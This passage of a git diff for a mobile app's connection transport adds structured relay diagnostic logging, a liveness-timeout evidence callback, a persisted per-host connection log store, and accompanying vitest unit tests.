@@ -22,6 +22,11 @@ import * as recoveryPresentation from './mobile-relay-recovery-presentation'
 import type { StableLogicalRpcClient } from './stable-logical-rpc-client'
 import type { ForegroundNudgeReason, HostProfile } from './types'
 import { MobileRelayBackgroundGrace } from './mobile-relay-background-grace'
+import {
+  logRelayConnected,
+  logRelayCredentialUnavailable,
+  logRelayDialFailure
+} from './mobile-relay-diagnostic-log'
 
 export type { MobileEndpointSupervisorDependencies } from './mobile-endpoint-supervisor-contract'
 
@@ -98,7 +103,7 @@ export class MobileEndpointSupervisor {
       recordMigration: () => {
         this.relayRotationPending = false
         this.hysteresis.recordMigration(dependencies.now())
-        this.logRelay('runtime channel migrated to relay')
+        logRelayConnected(this.logRelay)
       },
       scheduleLease: (expiry) =>
         this.leaseRotation.scheduleFromLease(
@@ -107,8 +112,7 @@ export class MobileEndpointSupervisor {
       scheduleDirectProbe: () => this.directProbe.schedule(),
       onBookkeepingError: (error) =>
         this.logRelay('relay bookkeeping failed after migration', error.message.slice(0, 80)),
-      onDialFailure: (error) =>
-        this.logRelay('relay dial failed', `${error.name}: ${String(error.message).slice(0, 80)}`)
+      onDialFailure: (error) => logRelayDialFailure(this.logRelay, error)
     })
     this.directProbe = new DirectReturnProbe(dependencies, {
       hysteresis: this.hysteresis,
@@ -166,7 +170,8 @@ export class MobileEndpointSupervisor {
         // Why: the direct client enters reconnecting after its first failed
         // dial and may never publish disconnected while its retry loop lives.
         recoveryPresentation.onActiveFailure(this.logical, this.relayReconnect, state, this.bundle)
-        this.relayReconnect.handleStateFailure(this.logical, state)
+        const relayFailure = this.relayReconnect.handleStateFailure(this.logical, state)
+        logRelayDialFailure(this.logRelay, relayFailure, 'active-session')
       }
     })
     if (this.relayReconnect.needsRecovery(this.logical.getState())) {
@@ -249,11 +254,7 @@ export class MobileEndpointSupervisor {
         this.logical.setRecoveryPath(null)
         // Why: "expired" vs "missing" separates a sleep-past-expiry phone
         // (needs re-pair or LAN) from a Keychain failure in field reports.
-        this.logRelay(
-          selection.bundle
-            ? 'relay credential expired or rejected; slow reprobe armed'
-            : 'no relay credential bundle; slow reprobe armed'
-        )
+        logRelayCredentialUnavailable(this.logRelay, selection.bundle !== null)
         this.relayReconnect.armCredentialReprobe()
         if (ownsRecovery) {
           // Why: no dial happened — keep the session and the intent; the reprobe
diff --git a/mobile/src/transport/mobile-relay-diagnostic-log.ts b/mobile/src/transport/mobile-relay-diagnostic-log.ts
new file mode 100644
index 00000000000..0014294cc24
--- /dev/null
+++ b/mobile/src/transport/mobile-relay-diagnostic-log.ts
@@ -0,0 +1,38 @@
+import type { RelayRecoveryLog } from './mobile-relay-recovery-log'
+import { RelayDirectorHttpError } from './mobile-relay-resume-director'
+
+export function logRelayConnected(log: RelayRecoveryLog): void {
+  log('runtime channel migrated to relay', undefined, {
+    level: 'success',
+    code: 'relay-connected'
+  })
+}
+
+export function logRelayDialFailure(
+  log: RelayRecoveryLog,
+  error: Error | null,
+  source: 'dial' | 'active-session' = 'dial'
+): void {
+  if (!error) {
+    return
+  }
+  const base = `${error.name}: ${String(error.message).slice(0, 80)}`
+  const detail =
+    error instanceof RelayDirectorHttpError && error.retryAfterMs != null
+      ? `${base}; retry-after=${error.retryAfterMs}ms`
+      : base
+  log(source === 'dial' ? 'relay dial failed' : 'active relay session failed', detail, {
+    level: 'error',
+    code: source === 'dial' ? 'relay-dial-failed' : 'relay-session-failed'
+  })
+}
+
+export function logRelayCredentialUnavailable(log: RelayRecoveryLog, hasBundle: boolean): void {
+  log(
+    hasBundle
+      ? 'relay credential expired or rejected; slow reprobe armed'
+      : 'no relay credential bundle; slow reprobe armed',
+    undefined,
+    { level: 'warn', code: 'relay-credential-unavailable' }
+  )
+}
diff --git a/mobile/src/transport/mobile-relay-reconnect-controller.ts b/mobile/src/transport/mobile-relay-reconnect-controller.ts
index 2d99e6b1d27..a606abbe9b4 100644
--- a/mobile/src/transport/mobile-relay-reconnect-controller.ts
+++ b/mobile/src/transport/mobile-relay-reconnect-controller.ts
@@ -46,9 +46,7 @@ export class RelayReconnectController {
     this.credentials = new RelayCredentialEligibility(dependencies.now)
   }
 
-  getFailureCount(): number {
-    return this.failureCount.current()
-  }
+  getFailureCount = (): number => this.failureCount.current()
 
   reportRecoveryTo(logical: StableLogicalRpcClient): void {
     this.failureCount.reportTo(logical.setRecoveryAttempt)
@@ -97,17 +95,17 @@ export class RelayReconnectController {
     return 'recover'
   }
 
-  handleStateFailure(logical: StableLogicalRpcClient, state: ConnectionState): void {
+  handleStateFailure(logical: StableLogicalRpcClient, state: ConnectionState): Error | null {
     if (!this.needsRecovery(state)) {
-      return
+      return null
     }
-    this.registerActiveFailure(logical)
+    const failure = this.registerActiveFailure(logical)
     this.onRetry()
+    return failure
   }
 
-  needsRecovery(state: ConnectionState): boolean {
-    return state !== 'connected' && state !== 'connecting' && state !== 'handshaking'
-  }
+  needsRecovery = (state: ConnectionState): boolean =>
+    state !== 'connected' && state !== 'connecting' && state !== 'handshaking'
 
   suspendActiveRelay(logical: StableLogicalRpcClient): void {
     if (logical.getActivePath() !== 'relay') {
@@ -207,9 +205,9 @@ export class RelayReconnectController {
 
   recordRejectedCredential = (version: number): void => this.credentials.recordRejected(version)
 
-  registerActiveFailure(logical: StableLogicalRpcClient): void {
+  registerActiveFailure(logical: StableLogicalRpcClient): Error | null {
     if (logical.getActivePath() !== 'relay') {
-      return
+      return null
     }
     const failure = this.activeSession?.getFailure()
     this.activeSession = null
@@ -219,6 +217,7 @@ export class RelayReconnectController {
     } else {
       this.activeRelayConnectedAt = null
     }
+    return failure ?? null
   }
 
   // True when the caller is still inside the cooldown window and must not
diff --git a/mobile/src/transport/mobile-relay-recovery-log.test.ts b/mobile/src/transport/mobile-relay-recovery-log.test.ts
new file mode 100644
index 00000000000..e24173629b3
--- /dev/null
+++ b/mobile/src/transport/mobile-relay-recovery-log.test.ts
@@ -0,0 +1,14 @@
+import { describe, expect, it, vi } from 'vitest'
+import { createRelayRecoveryLog } from './mobile-relay-recovery-log'
+import type { ConnectionLogEntry } from './types'
+
+describe('createRelayRecoveryLog', () => {
+  it('uses distinct ids across logger instances', () => {
+    const entries: ConnectionLogEntry[] = []
+    const sink = vi.fn((entry: ConnectionLogEntry) => entries.push(entry))
+    createRelayRecoveryLog(() => 1, sink)('first')
+    createRelayRecoveryLog(() => 1, sink)('second')
+
+    expect(entries[0]?.id).not.toBe(entries[1]?.id)
+  })
+})
diff --git a/mobile/src/transport/mobile-relay-recovery-log.ts b/mobile/src/transport/mobile-relay-recovery-log.ts
index 9b373cd112a..21ad9dd63ad 100644
--- a/mobile/src/transport/mobile-relay-recovery-log.ts
+++ b/mobile/src/transport/mobile-relay-recovery-log.ts
@@ -1,6 +1,12 @@
-import type { ConnectionLogSink } from './types'
+import type { ConnectionDiagnosticCode, ConnectionLogLevel, ConnectionLogSink } from './types'
 
-export type RelayRecoveryLog = (message: string, detail?: string) => void
+export type RelayRecoveryLog = (
+  message: string,
+  detail?: string,
+  evidence?: { level?: ConnectionLogLevel; code?: ConnectionDiagnosticCode }
+) => void
+
+let relayLoggerInstanceSequence = 0
 
 // Why: relay recovery failed silently in production for weeks; every decision
 // must reach logcat and the in-app connection log.
@@ -9,12 +15,15 @@ export function createRelayRecoveryLog(
   onLog?: ConnectionLogSink
 ): RelayRecoveryLog {
   let sequence = 0
-  return (message, detail) => {
+  const instanceId = `${Date.now().toString(36)}-${(++relayLoggerInstanceSequence).toString(36)}`
+  return (message, detail, evidence) => {
     console.log(`[relay] ${message}`, detail ?? '')
     onLog?.({
-      id: `relay-${++sequence}`,
+      id: `relay-${instanceId}-${++sequence}`,
       ts: now(),
-      level: 'info',
+      level: evidence?.level ?? 'info',
+      path: 'relay',
+      ...(evidence?.code ? { code: evidence.code } : {}),
       message: `Relay: ${message}`,
       ...(detail ? { detail } : {})
     })
diff --git a/mobile/src/transport/mobile-relay-rpc-session-liveness.test.ts b/mobile/src/transport/mobile-relay-rpc-session-liveness.test.ts
index b7073075b2b..a3885a226c0 100644
--- a/mobile/src/transport/mobile-relay-rpc-session-liveness.test.ts
+++ b/mobile/src/transport/mobile-relay-rpc-session-liveness.test.ts
@@ -21,6 +21,7 @@ vi.mock('./mobile-relay-e2ee-link', () => ({
 }))
 
 import { connectMobileRelayRpcSession } from './mobile-relay-rpc-session'
+import type { ConnectionLogSink } from './types'
 
 const relay = {
   v: 1 as const,
@@ -31,7 +32,7 @@ const relay = {
   e2eeFraming: 2 as const
 }
 
-async function authenticateSession() {
+async function authenticateSession(onLog?: ConnectionLogSink) {
   const session = connectMobileRelayRpcSession({
     relay,
     resumeToken: 'resume-secret',
@@ -39,7 +40,8 @@ async function authenticateSession() {
     resumeConfirmReqId: 'confirm-1',
     deviceToken: 'device-token',
     desktopPublicKeyB64: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=',
-    requestTimeoutMs: 30_000
+    requestTimeoutMs: 30_000,
+    onLog
   })
   fakes.linkOptions!.onHello({
     type: 'relay-hello',
@@ -103,7 +105,8 @@ describe('mobile relay RPC session liveness', () => {
   })
 
   it('disconnects after two fair foreground misses', async () => {
-    const session = await authenticateSession()
+    const onLog = vi.fn<ConnectionLogSink>()
+    const session = await authenticateSession(onLog)
 
     session.notifyForeground('focus')
     expect(sentRequests().map(({ method }) => method)).toEqual(['status.get'])
@@ -114,6 +117,38 @@ describe('mobile relay RPC session liveness', () => {
 
     expect(session.getState()).toBe('disconnected')
     expect(fakes.close).toHaveBeenCalledOnce()
+    expect(onLog).toHaveBeenCalledWith(
+      expect.objectContaining({
+        code: 'liveness-timeout',
+        path: 'relay',
+        message: 'Relay health check failed',
+        detail: expect.stringMatching(
+          /^probe-timeout; 2\/2 probes missed; last authenticated activity \d+ms ago$/
+        )
+      })
+    )
+  })
+
+  it('uses distinct liveness evidence IDs for sessions created in the same millisecond', async () => {
+    vi.setSystemTime(1_000)
+    const firstLog = vi.fn<ConnectionLogSink>()
+    const first = await authenticateSession(firstLog)
+    first.notifyForeground('focus')
+    await vi.advanceTimersByTimeAsync(8_000)
+    const firstId = firstLog.mock.calls[0]?.[0].id
+
+    vi.clearAllMocks()
+    fakes.sendText.mockReturnValue(true)
+    vi.setSystemTime(1_000)
+    const secondLog = vi.fn<ConnectionLogSink>()
+    const second = await authenticateSession(secondLog)
+    second.notifyForeground('focus')
+    await vi.advanceTimersByTimeAsync(8_000)
+    const secondId = secondLog.mock.calls[0]?.[0].id
+
+    expect(firstId).toBeTruthy()
+    expect(secondId).toBeTruthy()
+    expect(secondId).not.toBe(firstId)
   })
 
   it('rate-limits foreground sequences without suppressing a retry', async () => {
diff --git a/mobile/src/transport/mobile-relay-rpc-session.ts b/mobile/src/transport/mobile-relay-rpc-session.ts
index 84b1e7cdbeb..f242fce07ba 100644
--- a/mobile/src/transport/mobile-relay-rpc-session.ts
+++ b/mobile/src/transport/mobile-relay-rpc-session.ts
@@ -11,11 +11,12 @@ import { openRpcRequestBudget, resolvePostConnectRequestTimeout } from './rpc-re
 import { isRpcResponse } from './rpc-response-shape'
 import { RpcSessionLivenessWatchdog } from './rpc-session-liveness-watchdog'
 import type { RpcClient } from './rpc-client'
-import type { ConnectionState, RpcResponse } from './types'
+import type { ConnectionLogSink, ConnectionState, RpcResponse } from './types'
 
 const RELAY_PROBE_TIMEOUT_MS = 4_000
 const RELAY_MISSED_PROBE_LIMIT = 2
 const RELAY_FOREGROUND_PROBE_MIN_INTERVAL_MS = 10_000
+let relayRpcSessionSequence = 0
 
 type PendingRequest = {
   resolve: (response: RpcResponse) => void
@@ -41,6 +42,7 @@ export function connectMobileRelayRpcSession(args: {
   desktopPublicKeyB64: string
   requestTimeoutMs?: number
   createSocket?: (url: string) => WebSocket
+  onLog?: ConnectionLogSink
 }): MobileRelayRpcSession {
   const requestTimeoutMs = args.requestTimeoutMs ?? 30_000
   const pending = new Map<string, PendingRequest>()
@@ -53,6 +55,8 @@ export function connectMobileRelayRpcSession(args: {
   let resumeConfirmation: DeviceResumeConfirmed | null = null
   let failure: Error | null = null
   let closed = false
+  let logSequence = 0
+  const logSessionId = `${Date.now().toString(36)}-${(++relayRpcSessionSequence).toString(36)}`
   const livenessIdentity = {}
   const streams = new MobileRelayRpcStreams({
     nextId,
@@ -145,6 +149,17 @@ export function connectMobileRelayRpcSession(args: {
     voluntaryProbeMinIntervalMs: RELAY_FOREGROUND_PROBE_MIN_INTERVAL_MS,
     sendProbe: () =>
       state === 'connected' && sendFrame({ id: nextId(), method: 'status.get', params: undefined }),
+    onTimeout: (evidence) => {
+      args.onLog?.({
+        id: `relay-liveness-${logSessionId}-${++logSequence}`,
+        ts: Date.now(),
+        level: 'error',
+        code: 'liveness-timeout',
+        path: 'relay',
+        message: 'Relay health check failed',
+        detail: `${evidence.reason}; ${evidence.missedProbes}/${evidence.missedProbeLimit} probes missed; last authenticated activity ${evidence.lastInboundAgeMs}ms ago`
+      })
+    },
     terminate: () => fail(new Error('relay session liveness timeout'))
   })
   return client
diff --git a/mobile/src/transport/persisted-connection-log-store.test.ts b/mobile/src/transport/persisted-connection-log-store.test.ts
new file mode 100644
index 00000000000..6635ccec696
--- /dev/null
+++ b/mobile/src/transport/persisted-connection-log-store.test.ts
@@ -0,0 +1,57 @@
+import AsyncStorage from '@react-native-async-storage/async-storage'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import type { ConnectionLogEntry } from './types'
+
+vi.mock('@react-native-async-storage/async-storage', () => ({
+  default: {
+    getItem: vi.fn(),
+    setItem: vi.fn()
+  }
+}))
+
+describe('persisted connection log store', () => {
+  beforeEach(() => {
+    vi.useFakeTimers()
+    vi.setSystemTime(1_000)
+    vi.mocked(AsyncStorage.getItem).mockReset()
+    vi.mocked(AsyncStorage.setItem).mockReset()
+    vi.mocked(AsyncStorage.setItem).mockResolvedValue(undefined)
+  })
+
+  afterEach(() => {
+    vi.useRealTimers()
+    vi.resetModules()
+  })
+
+  it('keeps a new client-session boundary when a restart shares the prior timestamp', async () => {
+    const stored: ConnectionLogEntry[] = [
+      {
+        id: 'client-session-1000',
+        ts: 1_000,
+        level: 'info',
+        code: 'client-session-started',
+        message: 'Mobile client session started'
+      },
+      {
+        id: 'relay-failure',
+        ts: 1_000,
+        level: 'error',
+        code: 'relay-session-failed',
+        message: 'Relay: active relay session failed'
+      }
+    ]
+    vi.mocked(AsyncStorage.getItem).mockResolvedValue(JSON.stringify(stored))
+    vi.resetModules()
+    const { connectionLogStore, recordConnectionClientSessionStart } =
+      await import('./persisted-connection-log-store')
+
+    recordConnectionClientSessionStart('host-a')
+    await connectionLogStore.hydrate('host-a')
+
+    expect(connectionLogStore.get('host-a').map((entry) => entry.code)).toEqual([
+      'client-session-started',
+      'relay-session-failed',
+      'client-session-started'
+    ])
+  })
+})
diff --git a/mobile/src/transport/persisted-connection-log-store.ts b/mobile/src/transport/persisted-connection-log-store.ts
new file mode 100644
index 00000000000..85f9794b284
--- /dev/null
+++ b/mobile/src/transport/persisted-connection-log-store.ts
@@ -0,0 +1,77 @@
+import AsyncStorage from '@react-native-async-storage/async-storage'
+import { createConnectionLogStore } from './connection-log-buffer'
+import type { ConnectionLogEntry } from './types'
+
+const STORAGE_PREFIX = 'orca.mobile.connection-log.v1.'
+const clientSessionId = `${Date.now().toString(36)}-${Math.random().toString(36).slice(2)}`
+const sessionStartedHosts = new Set<string>()
+
+export const connectionLogStore = createConnectionLogStore(200, {
+  async load(hostId) {
+    const raw = await AsyncStorage.getItem(storageKey(hostId))
+    if (!raw) {
+      return []
+    }
+    try {
+      const parsed: unknown = JSON.parse(raw)
+      return Array.isArray(parsed) ? parsed.filter(isConnectionLogEntry) : []
+    } catch {
+      return []
+    }
+  },
+  save(hostId, entries) {
+    return AsyncStorage.setItem(storageKey(hostId), JSON.stringify(entries))
+  }
+})
+
+export function recordConnectionRevival(
+  hostId: string,
+  reason: 'app-resume' | 'network-change'
+): void {
+  const now = Date.now()
+  connectionLogStore.append(hostId, {
+    id: `revival-${reason}-${now}`,
+    ts: now,
+    level: 'info',
+    code: reason === 'app-resume' ? 'app-resumed' : 'network-changed',
+    message: reason === 'app-resume' ? 'App returned to foreground' : 'Network changed',
+    detail: 'Connection recovery notified'
+  })
+}
+
+export function recordConnectionClientSessionStart(hostId: string): void {
+  if (sessionStartedHosts.has(hostId)) {
+    return
+  }
+  sessionStartedHosts.add(hostId)
+  const now = Date.now()
+  connectionLogStore.append(hostId, {
+    id: `client-session-${clientSessionId}-${now}`,
+    ts: now,
+    level: 'info',
+    code: 'client-session-started',
+    message: 'Mobile client session started'
+  })
+}
+
+function storageKey(hostId: string): string {
+  return `${STORAGE_PREFIX}${encodeURIComponent(hostId)}`
+}
+
+function isConnectionLogEntry(value: unknown): value is ConnectionLogEntry {
+  if (!value || typeof value !== 'object') {
+    return false
+  }
+  const entry = value as Partial<ConnectionLogEntry>
+  return (
+    typeof entry.id === 'string' &&
+    typeof entry.ts === 'number' &&
+    Number.isFinite(entry.ts) &&
+    (entry.level === 'info' ||
+      entry.level === 'success' ||
+      entry.level === 'warn' ||
+      entry.level === 'error') &&
+    typeof entry.message === 'string' &&
+    (entry.detail === undefined || typeof entry.detail === 'string')
+  )
+}
diff --git a/mobile/src/transport/rpc-client-socket-close-controller.ts b/mobile/src/transport/rpc-client-socket-close-controller.ts
index a03096757c6..65e65951954 100644
--- a/mobile/src/transport/rpc-client-socket-close-controller.ts
+++ b/mobile/src/transport/rpc-client-socket-close-controller.ts
@@ -6,6 +6,7 @@ import type { RpcClientSocketFactory } from './rpc-client-socket-factory'
 import type { RpcClientSocketSession } from './rpc-client-socket-session'
 import type { RpcClientStreamRegistry } from './rpc-client-stream-registry'
 import { RpcSynthesizedCloseIndex } from './rpc-socket-close-evidence'
+import type { ConnectionLogEntry } from './types'
 
 const UNAUTHORIZED_CLOSE_CODE = 4001
 
@@ -21,7 +22,11 @@ type SocketCloseControllerOptions = {
   getAuthenticationGeneration: () => number
   isIntentionallyClosed: () => boolean
   stopLiveness: (session: RpcClientSocketSession) => void
-  emitWarning: (message: string, detail: string) => void
+  emitWarning: (
+    message: string,
+    detail: string,
+    evidence?: Pick<ConnectionLogEntry, 'code' | 'path'>
+  ) => void
 }
 
 export class RpcClientSocketCloseController {
@@ -80,7 +85,11 @@ export class RpcClientSocketCloseController {
       streamCount: this.options.streams.size(),
       attempt: this.options.reconnect.getAttempt()
     })
-    this.options.emitWarning('WebSocket closed', 'Will attempt to reconnect')
+    this.options.emitWarning(
+      'WebSocket closed',
+      `${closeCode == null ? 'Close code unavailable' : `Close code ${closeCode}`}; reconnect scheduled`,
+      { code: 'socket-closed' }
+    )
     this.options.requests.rejectAll('Connection interrupted', { deliveryUnknown: true })
     this.options.connectionState.publish('reconnecting')
     this.options.reconnect.schedule()
diff --git a/mobile/src/transport/rpc-client-socket-factory.ts b/mobile/src/transport/rpc-client-socket-factory.ts
index 1c21c0dd4e0..df82e460d92 100644
--- a/mobile/src/transport/rpc-client-socket-factory.ts
+++ b/mobile/src/transport/rpc-client-socket-factory.ts
@@ -1,7 +1,7 @@
 import { publicKeyFromBase64 } from './e2ee'
 import { RpcClientSocketSession } from './rpc-client-socket-session'
 import { redactSocketEndpoint } from './socket-event-debug'
-import type { ConnectionLogLevel, ConnectionState, RpcResponse } from './types'
+import type { ConnectionLogEmitter, ConnectionState, RpcResponse } from './types'
 
 type SocketFactoryOptions = {
   endpoint: string
@@ -12,7 +12,7 @@ type SocketFactoryOptions = {
   getReconnectAttempt: () => number
   getLastConnectedAt: () => number | null
   isIntentionallyClosed: () => boolean
-  emitLog: (level: ConnectionLogLevel, message: string, detail?: string) => void
+  emitLog: ConnectionLogEmitter
   onHandshakeStarted: () => void
   onAuthenticated: (session: RpcClientSocketSession) => void
   onAuthRejected: (reason: string) => void
diff --git a/mobile/src/transport/rpc-client-socket-session.ts b/mobile/src/transport/rpc-client-socket-session.ts
index 6eebc6b02b9..bc8f9d13e2c 100644
--- a/mobile/src/transport/rpc-client-socket-session.ts
+++ b/mobile/src/transport/rpc-client-socket-session.ts
@@ -9,7 +9,7 @@ import {
 import { isRpcResponse } from './rpc-response-shape'
 import { isStaleRpcSocketEvent, logRpcSocketClose } from './rpc-socket-close-evidence'
 import { describeSocketEvent, redactSocketEndpoint } from './socket-event-debug'
-import type { ConnectionLogLevel, ConnectionState, RpcResponse } from './types'
+import type { ConnectionLogEmitter, ConnectionState, RpcResponse } from './types'
 import { websocketPayloadToUint8 } from './websocket-payload-bytes'
 
 const CONNECT_TIMEOUT_MS = 12_000
@@ -24,7 +24,7 @@ type SocketSessionOptions = {
   getState: () => ConnectionState
   getReconnectAttempt: () => number
   isIntentionallyClosed: () => boolean
-  emitLog: (level: ConnectionLogLevel, message: string, detail?: string) => void
+  emitLog: ConnectionLogEmitter
   onHandshakeStarted: () => void
   onAuthenticated: (session: RpcClientSocketSession) => void
   onAuthRejected: (reason: string) => void
@@ -261,7 +261,8 @@ export class RpcClientSocketSession {
         this.options.emitLog(
           'error',
           'WebSocket connect timeout',
-          `No TCP/WS handshake within ${CONNECT_TIMEOUT_MS / 1000}s — endpoint unreachable?`
+          `No TCP/WS handshake within ${CONNECT_TIMEOUT_MS / 1000}s — endpoint unreachable?`,
+          { code: 'connect-timeout' }
         )
         this.options.onForcedClose(this)
       }
@@ -280,7 +281,8 @@ export class RpcClientSocketSession {
       this.options.emitLog(
         'error',
         'Handshake timeout',
-        `No e2ee_ready/e2ee_authenticated within ${HANDSHAKE_TIMEOUT_MS / 1000}s`
+        `No e2ee_ready/e2ee_authenticated within ${HANDSHAKE_TIMEOUT_MS / 1000}s`,
+        { code: 'handshake-timeout' }
       )
       this.options.onForcedClose(this)
     }, HANDSHAKE_TIMEOUT_MS)
diff --git a/mobile/src/transport/rpc-session-liveness-watchdog.test.ts b/mobile/src/transport/rpc-session-liveness-watchdog.test.ts
index c3aab2a243f..aa1398e44b6 100644
--- a/mobile/src/transport/rpc-session-liveness-watchdog.test.ts
+++ b/mobile/src/transport/rpc-session-liveness-watchdog.test.ts
@@ -46,6 +46,37 @@ describe('RpcSessionLivenessWatchdog', () => {
     expect(terminate).toHaveBeenCalledWith(identity)
   })
 
+  it('reports causal evidence before terminating a stale session', async () => {
+    const onTimeout = vi.fn()
+    const terminate = vi.fn()
+    const identity = {}
+    const watchdog = new RpcSessionLivenessWatchdog({
+      transport: 'relay',
+      idleProbeMs: null,
+      probeTimeoutMs: 4_000,
+      missedProbeLimit: 2,
+      sendProbe: () => true,
+      terminate,
+      onTimeout,
+      now: Date.now
+    })
+    watchdog.start(identity)
+    watchdog.probeNow(identity)
+
+    await vi.advanceTimersByTimeAsync(8_000)
+
+    expect(onTimeout).toHaveBeenCalledWith({
+      transport: 'relay',
+      reason: 'probe-timeout',
+      missedProbes: 2,
+      missedProbeLimit: 2,
+      lastInboundAgeMs: 8_000
+    })
+    expect(onTimeout.mock.invocationCallOrder[0]).toBeLessThan(
+      terminate.mock.invocationCallOrder[0]!
+    )
+  })
+
   it('authenticated activity resets suspicion', async () => {
     const { identity, terminate, watchdog } = fixture()
     watchdog.probeNow(identity)
diff --git a/mobile/src/transport/rpc-session-liveness-watchdog.ts b/mobile/src/transport/rpc-session-liveness-watchdog.ts
index e819dbb6edf..36525f60fb0 100644
--- a/mobile/src/transport/rpc-session-liveness-watchdog.ts
+++ b/mobile/src/transport/rpc-session-liveness-watchdog.ts
@@ -8,6 +8,7 @@ type WatchdogOptions = {
   transport: 'direct' | 'relay'
   sendProbe: (identity: RpcSessionIdentity) => boolean
   terminate: (identity: RpcSessionIdentity) => void
+  onTimeout?: (evidence: LivenessTimeoutEvidence) => void
   idleProbeMs?: number | null
   probeTimeoutMs?: number
   missedProbeLimit?: number
@@ -17,6 +18,14 @@ type WatchdogOptions = {
   clearTimer?: typeof clearTimeout
 }
 
+export type LivenessTimeoutEvidence = {
+  transport: 'direct' | 'relay'
+  reason: 'probe-send-failed' | 'probe-timeout'
+  missedProbes: number
+  missedProbeLimit: number
+  lastInboundAgeMs: number
+}
+
 export class RpcSessionLivenessWatchdog {
   private identity: RpcSessionIdentity | null = null
   private timer: ReturnType<typeof setTimeout> | null = null
@@ -138,7 +147,7 @@ export class RpcSessionLivenessWatchdog {
       sent = false
     }
     if (!sent) {
-      this.terminateCurrent(identity)
+      this.terminateCurrent(identity, 'probe-send-failed')
       return
     }
     this.timer = this.setTimer(() => this.handleProbeTimeout(identity, sentAt), this.probeTimeoutMs)
@@ -161,7 +170,7 @@ export class RpcSessionLivenessWatchdog {
     }
     this.missedProbes += 1
     if (this.missedProbes >= this.missedProbeLimit) {
-      this.terminateCurrent(identity)
+      this.terminateCurrent(identity, 'probe-timeout')
       return
     }
     console.log('[net] activity-probe timeout tolerated', {
@@ -172,7 +181,10 @@ export class RpcSessionLivenessWatchdog {
     this.startProbe(identity)
   }
 
-  private terminateCurrent(identity: RpcSessionIdentity): void {
+  private terminateCurrent(
+    identity: RpcSessionIdentity,
+    reason: LivenessTimeoutEvidence['reason']
+  ): void {
     if (this.identity !== identity) {
       return
     }
@@ -184,6 +196,13 @@ export class RpcSessionLivenessWatchdog {
       missedProbes: this.missedProbes,
       missedProbeLimit: this.missedProbeLimit
     })
+    this.options.onTimeout?.({
+      transport: this.options.transport,
+      reason,
+      missedProbes: this.missedProbes,
+      missedProbeLimit: this.missedProbeLimit,
+      lastInboundAgeMs: Math.max(0, this.now() - this.lastInboundAt)
+    })
     this.options.terminate(identity)
   }
 
diff --git a/mobile/src/transport/types.ts b/mobile/src/transport/types.ts
index 9d96f0561ad..c40bd979936 100644
--- a/mobile/src/transport/types.ts
+++ b/mobile/src/transport/types.ts
@@ -39,6 +39,25 @@ export type RpcResponse = RpcSuccess | RpcFailure
 
 export type ConnectionLogLevel = 'info' | 'success' | 'warn' | 'error'
 
+export type MobileConnectionDiagnosticPath = 'lan' | 'tailscale' | 'relay'
+
+export type ConnectionDiagnosticCode =
+  | 'client-session-started'
+  | 'app-resumed'
+  | 'network-changed'
+  | 'connect-timeout'
+  | 'handshake-timeout'
+  | 'authentication-rejected'
+  | 'socket-closed'
+  | 'liveness-timeout'
+  | 'retry-scheduled'
+  | 'relay-dial-failed'
+  | 'relay-session-failed'
+  | 'relay-connected'
+  | 'direct-connected'
+  | 'relay-credential-unavailable'
+  | 'host-open-failed'
+
 export type ConnectionLogEntry = {
   id: string
   ts: number
@@ -47,10 +66,19 @@ export type ConnectionLogEntry = {
   message: string
   // Optional second line for endpoint/error/elapsed detail.
   detail?: string
+  code?: ConnectionDiagnosticCode
+  path?: MobileConnectionDiagnosticPath
 }
 
 export type ConnectionLogSink = (entry: ConnectionLogEntry) => void
 
+export type ConnectionLogEmitter = (
+  level: ConnectionLogLevel,
+  message: string,
+  detail?: string,
+  evidence?: Pick<ConnectionLogEntry, 'code' | 'path'>
+) => void
+
 export type ConnectionState =
   | 'connecting'
   | 'handshaking'
diff --git a/mobile/src/transport/use-all-host-clients.ts b/mobile/src/transport/use-all-host-clients.ts
index ac957638db6..03ac5890015 100644
--- a/mobile/src/transport/use-all-host-clients.ts
+++ b/mobile/src/transport/use-all-host-clients.ts
@@ -3,7 +3,7 @@ import type { RpcClient } from './rpc-client'
 import type { MobileConnectionPath } from './stable-logical-rpc-client'
 import type { ConnectionState } from './types'
 import { useRpcClientContext } from './client-context'
-import type { HostClientAcquisition } from './client-context'
+import type { HostClientAcquisition } from './host-client-acquisition-registry'
 
 type UseAllHostClientsOptions = {
   autoConnectHostIds?: readonly string[]
diff --git a/mobile/src/worktree/host-worktree-rpc-types.ts b/mobile/src/worktree/host-worktree-rpc-types.ts
index 037e4dcfa87..2884c95e87a 100644
--- a/mobile/src/worktree/host-worktree-rpc-types.ts
+++ b/mobile/src/worktree/host-worktree-rpc-types.ts
@@ -3,6 +3,7 @@ import type { ExecutionHostId } from '../../../src/shared/execution-host'
 
 // Locally-typed subset of the desktop status payload read from status.get.
 export type DesktopStatus = {
+  appVersion?: string
   protocolVersion?: number
   minCompatibleMobileVersion?: number
   // Why: absent on hosts that predate the mobile Floating Workspace entry;
diff --git a/package.json b/package.json
index 7b46b369406..c8e59299c70 100644
--- a/package.json
+++ b/package.json
@@ -111,6 +111,7 @@
     "test:e2e:terminal-perf:html-report": "node config/scripts/generate-terminal-perf-html-report.mjs",
     "test:e2e:ssh-docker-perf": "node config/scripts/run-ssh-docker-perf-e2e.mjs",
     "test:e2e:ssh-docker-watcher-isolation": "node config/scripts/run-ssh-docker-watcher-isolation-e2e.mjs",
+    "test:e2e:ssh-docker": "node config/scripts/run-ssh-docker-e2e.mjs",
     "test:e2e:ssh-client-hosted-browser": "node config/scripts/run-ssh-client-hosted-browser-drop-reconnect-e2e.mjs",
     "test:e2e:local-ssh-browser": "node config/scripts/run-local-ssh-browser-routing-e2e.mjs",
     "test:e2e:ssh-docker-terminal-parking": "node config/scripts/run-ssh-docker-terminal-parking-e2e.mjs",
diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml
index 1d998e1b27e..2c36d26ae93 100644
--- a/pnpm-lock.yaml
+++ b/pnpm-lock.yaml
@@ -9,7 +9,7 @@ overrides:
 
 patchedDependencies:
   '@vscode/windows-process-tree@0.8.0':
-    hash: 73a90530e6b95c05dac50f2c48787fb51cb292587773016ebe57eb05e41075a0
+    hash: 946ffb2b1026bcb554d9920681fb00f546c28fc5de6d95a877d198b49bf73988
     path: config/patches/@vscode__windows-process-tree@0.8.0.patch
   '@xterm/addon-ligatures@0.11.0-beta.287':
     hash: 47405b9994b5acf1b4e90b49250358c1ca03649854d59560e7732b72fe336920
@@ -27,7 +27,7 @@ patchedDependencies:
